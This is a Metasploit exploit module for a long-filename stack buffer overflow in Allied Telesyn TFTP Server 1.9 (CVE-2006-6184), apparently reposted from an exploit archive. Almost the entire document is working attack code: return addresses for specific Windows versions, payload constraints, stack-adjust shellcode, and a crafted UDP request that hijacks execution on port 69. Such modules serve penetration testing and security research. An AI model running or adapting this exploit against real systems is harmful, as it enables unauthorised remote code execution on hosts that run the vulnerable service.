Allied Telesyn TFTP Server 1.9 Long Filename Overflow

##
# $Id: attftp_long_filename.rb 11882 2011-03-05 21:00:57Z bannedit $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::Udp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
                request (get/write) for an overly long file name.
            },
            'Author'         => [ 'Patrick Webster <patrick[at]aushack.com>' ],
            'Version'        => '$Revision: 11882 $',
            'References'     =>
                [
                    ['CVE', '2006-6184'],
                    ['OSVDB', '11350'],
                    ['BID', '21320'],
                    ['URL','http://milw0rm.com/exploits/2887'],
                    ['URL', 'ftp://guest:[email protected]/pub/utilities/at-tftpd.exe'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 210,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
                    [ 'Windows NT SP4 English',   { 'Ret' => 0x702ea6f7 } ],
                    [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
                    [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
                    [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
                    [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
                    [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
                    [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
                    [ 'Windows XP SP2 English',   { 'Ret' => 0x71ab9372 } ],
                    [ 'Windows Server 2003',      { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Nov 27 2006'))
 
        register_options(
            [
                Opt::RPORT(69),
                Opt::LHOST() # Required for stack offset
            ], self.class)
    end
 
    def exploit
        connect_udp
 
        sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
        sploit << payload.encoded
        sploit << [target['Ret']].pack('V')   # <-- eip = jmp esp. we control it.
        sploit << "\x83\xc4\x28\xc3"      # <-- esp = add esp 0x28 + retn
        sploit << "\x00" + "netascii" + "\x00"
 
        udp_sock.put(sploit)
 
        disconnect_udp
    end
 
end



#  0day.today [2018-01-02]  #